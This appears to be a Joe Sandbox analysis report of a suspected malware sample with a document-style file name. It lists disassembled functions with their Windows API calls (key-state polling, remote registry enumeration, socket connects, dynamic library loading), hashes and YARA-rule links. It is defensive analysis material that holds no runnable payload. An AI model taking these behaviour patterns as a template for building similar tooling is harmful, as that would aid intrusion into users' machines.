API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: cd7788a2b185d88c400b8a6aeade3fc9c5c973a953ee43483dee5ed95a9ea34f
Instruction ID: 46ca67f56f0a8d5ad63bda83924a80280762c02ca40567384c43837262e92fb7
Opcode Fuzzy Hash: cd7788a2b185d88c400b8a6aeade3fc9c5c973a953ee43483dee5ed95a9ea34f
Instruction Fuzzy Hash: 011184B5500205ABDF217F948C89FFA377DAB44744F0080B9BE49AA186DB7C9D45CB71

Function 00771836 Relevance: 7.7, APIs: 5, Instructions: 232COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 007718E4
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00771917
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00771A3A
CloseHandle.KERNEL32(?), ref: 00771AB0

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: e2604d6110c03caf4d9bb83f4d0df54e23ab238aace25a6098368cb42e42b448
Instruction ID: b2a7357c6b7ea21264c6fad725eab68f9563ec13459449fc80ef0121c93fe147
Opcode Fuzzy Hash: e2604d6110c03caf4d9bb83f4d0df54e23ab238aace25a6098368cb42e42b448
Instruction Fuzzy Hash: A9817570A40214EBDF10AF68C896B9D7BF5AF48720F55C059F909AF382D7B8E9418B91

Function 00770579 Relevance: 7.6, APIs: 5, Instructions: 149libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 007184A6: __swprintf.LIBCMT ref: 007184E5
Part of subcall function 007184A6: __itow.LIBCMT ref: 00718519

LoadLibraryW.KERNEL32(?,00000004,?,?), ref: 007705DF
GetProcAddress.KERNEL32(00000000,?), ref: 0077066E
GetProcAddress.KERNEL32(00000000,00000000), ref: 0077068C
GetProcAddress.KERNEL32(00000000,?), ref: 007706D2
FreeLibrary.KERNEL32(00000000,00000004), ref: 007706EC

Part of subcall function 0072F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,0075AEA5,?,?,00000000,00000008), ref: 0072F282
Part of subcall function 0072F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,0075AEA5,?,?,00000000,00000008), ref: 0072F2A6

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: c1fbf2124ef6460075516c97d989942410f3f6b9ba28b64aa4398296569014a5
Instruction ID: 0713c7c38a33d6c246ea9ae01dc2696d2028c52ad6cd58e681d68bec8e816ced
Opcode Fuzzy Hash: c1fbf2124ef6460075516c97d989942410f3f6b9ba28b64aa4398296569014a5
Instruction Fuzzy Hash: 4B515975A00205EFCF04EFA8C8949EDB7B5BF49310B14C069E959AB391DB38ED45CB91

Function 00772D1A Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

Part of subcall function 00773AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00772AA6,?,?), ref: 00773B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00772DE0
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00772E1F
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00772E66
RegCloseKey.ADVAPI32(?,?), ref: 00772E92
RegCloseKey.ADVAPI32(00000000), ref: 00772E9F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: d01bb9b016d571a0c019a24d5f55180a693cebf8866188098eac614754395f24
Instruction ID: 54f311fd2d3d9b1bc61b9a05439dc8d5251ec507cf289e43711c9dadc36815f8
Opcode Fuzzy Hash: d01bb9b016d571a0c019a24d5f55180a693cebf8866188098eac614754395f24
Instruction Fuzzy Hash: E8517D71204204EFCB14EF68C885EAAB7E8FF88354F00881EF595871A1DB78ED45CB52

Function 0077CB07 Relevance: 7.6, APIs: 5, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df2c49ef33a3d2750497e9a19b7c1edc221d9dd10d075db16a0a04e01376a40c
Instruction ID: dd96767dec5d1c49f79b6c9740cde6ea27440cf68412563fd3bad61ca55c6b15
Opcode Fuzzy Hash: df2c49ef33a3d2750497e9a19b7c1edc221d9dd10d075db16a0a04e01376a40c
Instruction Fuzzy Hash: 0C41E275900104ABDF22DF78CC49FA9BB79AB0D3A0F15816AF81DA72E1C7389D41D664

Function 00761726 Relevance: 7.6, APIs: 5, Instructions: 127COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 007617D4
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 007617FD
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0076183C

Part of subcall function 007184A6: __swprintf.LIBCMT ref: 007184E5
Part of subcall function 007184A6: __itow.LIBCMT ref: 00718519

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00761861
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00761869

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 09a34f01965a2532b99869c3f6df89648c775f1d7c8c5018004d52dd69306f3d
Instruction ID: dd035e048d59dba65d2c190d23060847ebcd116c64c1d1028067e48f9ae99018
Opcode Fuzzy Hash: 09a34f01965a2532b99869c3f6df89648c775f1d7c8c5018004d52dd69306f3d
Instruction Fuzzy Hash: 90410B35A00205DFCB11EF64C995AADBBF5FF48310B148099E806AF3A1DB39ED51DB91

Function 0072B736 Relevance: 7.6, APIs: 5, Instructions: 110keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(000000FF), ref: 0072B749
ScreenToClient.USER32(00000000,000000FF), ref: 0072B766
GetAsyncKeyState.USER32(00000001), ref: 0072B78B
GetAsyncKeyState.USER32(00000002), ref: 0072B799

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: fea2d8a8880471b81134267901c9f096e4c43baa0cb83dfe81cfb252978a74c4
Instruction ID: 343a31a1abadd2537c7482385d4a5b3bcded19ceb967374c23b867aff7bf2184
Opcode Fuzzy Hash: fea2d8a8880471b81134267901c9f096e4c43baa0cb83dfe81cfb252978a74c4
Instruction Fuzzy Hash: A6418131604119FFDF159F64C888AE9BBB4FB45364F10835AF82992290C738AD50DBA1

Function 0074C145 Relevance: 7.6, APIs: 5, Instructions: 88sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0074C156
PostMessageW.USER32(?,00000201,00000001), ref: 0074C200
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 0074C208
PostMessageW.USER32(?,00000202,00000000), ref: 0074C216
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 0074C21E

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 1a221a143d714da35b8aea3e8437ade0227aec8cd2d6af980de15a65cea6ab45
Instruction ID: afc8acab68945f9ec6596dc7d8d82e46aef71a1d99fd15c987650b5247951af9
Opcode Fuzzy Hash: 1a221a143d714da35b8aea3e8437ade0227aec8cd2d6af980de15a65cea6ab45
Instruction Fuzzy Hash: B431BFB250121DEBDF14CFA8DE4DA9E3BB5EB04315F108229F925AB2D1C7B89D14DB90

Function 0074E9B5 Relevance: 7.6, APIs: 5, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0074E9CD
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0074E9EA
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0074EA22
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 0074EA48
_wcsstr.LIBCMT ref: 0074EA52

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: e1493db955303be9cceed979a72ca5246ce842faf5e197dfc654ca84b53aa305
Instruction ID: 69694f3a8889ccd4e761286d6a342707fdf84085e12b3809c88a8f2d76ea33c6
Opcode Fuzzy Hash: e1493db955303be9cceed979a72ca5246ce842faf5e197dfc654ca84b53aa305
Instruction Fuzzy Hash: 9D21F672204204BBEB259B79DC49E7F7BA8FF45760F10C03AF809CA092DB69DC4196A1

Function 0077DC79 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 0072AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0072AF8E

GetWindowLongW.USER32(?,000000F0), ref: 0077DCC0
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0077DCE4
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0077DCFC
GetSystemMetrics.USER32(00000004), ref: 0077DD24
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,00000000,?,0076407D,00000000), ref: 0077DD42

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 17953139e1dde90ac5292262e53218bf8de2ff79e016cc6f33d49b37f4b57c17
Instruction ID: 5db4ed1b3c1b639e8723d4a46b8151403b82716b02316aba7c794b5689c0b191
Opcode Fuzzy Hash: 17953139e1dde90ac5292262e53218bf8de2ff79e016cc6f33d49b37f4b57c17
Instruction Fuzzy Hash: 54219C71600251AFCF309F799C48A6937B5BF453A4F118626F92AC61E0D3789C51CBA0

Function 0074CA6D Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0074CA86

Part of subcall function 00717E53: _memmove.LIBCMT ref: 00717EB9

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 0074CAB8
__itow.LIBCMT ref: 0074CAD0
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 0074CAF6
__itow.LIBCMT ref: 0074CB07

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: 4161aca66d92aa939d5ddc07072b525081a221bc88c8d94ca5b108bc2ccdc2eb
Instruction ID: b4b516d2f776a84cd6917e15baad46b54ad8570baf6fe8fc952174fd10fc3aaf
Opcode Fuzzy Hash: 4161aca66d92aa939d5ddc07072b525081a221bc88c8d94ca5b108bc2ccdc2eb
Instruction Fuzzy Hash: 8521C6B6701608BBDB22EAA88D4BFDE7BB9EF49750F004025F905E7192D7798D45C3A0

Function 00756D6D Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 00713B1E: _wcsncpy.LIBCMT ref: 00713B32

GetFileAttributesW.KERNEL32(?,?,00000000), ref: 00756DBA
GetLastError.KERNEL32 ref: 00756DC5
CreateDirectoryW.KERNEL32(?,00000000), ref: 00756DD9
_wcsrchr.LIBCMT ref: 00756DFB

Part of subcall function 00756D6D: CreateDirectoryW.KERNEL32(?,00000000), ref: 00756E31

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast_wcsncpy_wcsrchr
String ID:
API String ID: 3633006590-0
Opcode ID: 94e2a080a14a1cd92cd40eeaca1bfc2c38e5267aec11f2334d1d2e773d4ac4f2
Instruction ID: 9c7e0139f2366e99a43a27652a7bb8265e950cd1f04908e5a0503c8a391a465a
Opcode Fuzzy Hash: 94e2a080a14a1cd92cd40eeaca1bfc2c38e5267aec11f2334d1d2e773d4ac4f2
Instruction Fuzzy Hash: 6421D875B0231896DF246774EC4EAEA336C9F01712FA04556E825C30D2EFA8CE899A54

Function 00769122 Relevance: 7.6, APIs: 5, Instructions: 71networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0076ACD3: inet_addr.WS2_32(00000000), ref: 0076ACF5

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00769160
WSAGetLastError.WS2_32(00000000), ref: 0076916F
connect.WS2_32(00000000,?,00000010), ref: 0076918B

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ErrorLastconnectinet_addrsocket
String ID:
API String ID: 3701255441-0
Opcode ID: f1170e2caa3e2175b148c8672d45acaeed0981c9e1688a518ab04f89b463b8c3
Instruction ID: 62992b7d26b10875b92165c917fc1fae6751254d6a14350debcf6c2d6e4b52e7
Opcode Fuzzy Hash: f1170e2caa3e2175b148c8672d45acaeed0981c9e1688a518ab04f89b463b8c3
Instruction Fuzzy Hash: 84219331200215AFDB14AF68CC99B6E77ADEF49724F148459FD17AB3D2CA78EC028B51

Function 007689AD Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 007689CE
GetForegroundWindow.USER32 ref: 007689E5
GetDC.USER32(00000000), ref: 00768A21
GetPixel.GDI32(00000000,?,00000003), ref: 00768A2D
ReleaseDC.USER32(00000000,00000003), ref: 00768A68

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 4493a01ed59e9f75bd23cf14f379a468db55bf8422c1f26af716065b81f90471
Instruction ID: 3263fba4fd8700142bae1a5b5233e038f366db23ce5fffb7b6f5714edceff544
Opcode Fuzzy Hash: 4493a01ed59e9f75bd23cf14f379a468db55bf8422c1f26af716065b81f90471
Instruction Fuzzy Hash: BD21A175A00200EFDB10EFA5DC89AAABBF5EF48341F04C479E94A97351DA78AD41CB50

Function 0072B58B Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0072B5EB
SelectObject.GDI32(?,00000000), ref: 0072B5FA
BeginPath.GDI32(?), ref: 0072B611
SelectObject.GDI32(?,00000000), ref: 0072B63B

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 7bd4fcf377c2e72935876093e62e55b50918a1a3e474ce529a08d39343a738d4
Instruction ID: 21e45c1e5cfedc69e737e4dda6f8e58b5d2130bdc81bebd5b3557b35b5f5c446
Opcode Fuzzy Hash: 7bd4fcf377c2e72935876093e62e55b50918a1a3e474ce529a08d39343a738d4
Instruction Fuzzy Hash: BB218B71901358FFDB20DF59ED487A97BF9FB10325F58812BE450961A1C37C8892DB58

Function 00732E57 Relevance: 7.6, APIs: 5, Instructions: 61threadCOMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00732E81
CreateThread.KERNEL32(?,?,00732FB7,00000000,?,?), ref: 00732EC5
GetLastError.KERNEL32 ref: 00732ECF
_free.LIBCMT ref: 00732ED8
__dosmaperr.LIBCMT ref: 00732EE3

Part of subcall function 0073889E: __getptd_noexit.LIBCMT ref: 0073889E

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CreateErrorLastThread__calloc_crt__dosmaperr__getptd_noexit_free
String ID:
API String ID: 2664167353-0
Opcode ID: 38c4f8051ee13f30acd1e82625f16eeb66b00716d265128f17e278a8b6b79cf1
Instruction ID: d5896e9e5b95ce90b2c2ede7acc6a141eaa0ee59f2d3364d5fc5827e828b64ee
Opcode Fuzzy Hash: 38c4f8051ee13f30acd1e82625f16eeb66b00716d265128f17e278a8b6b79cf1
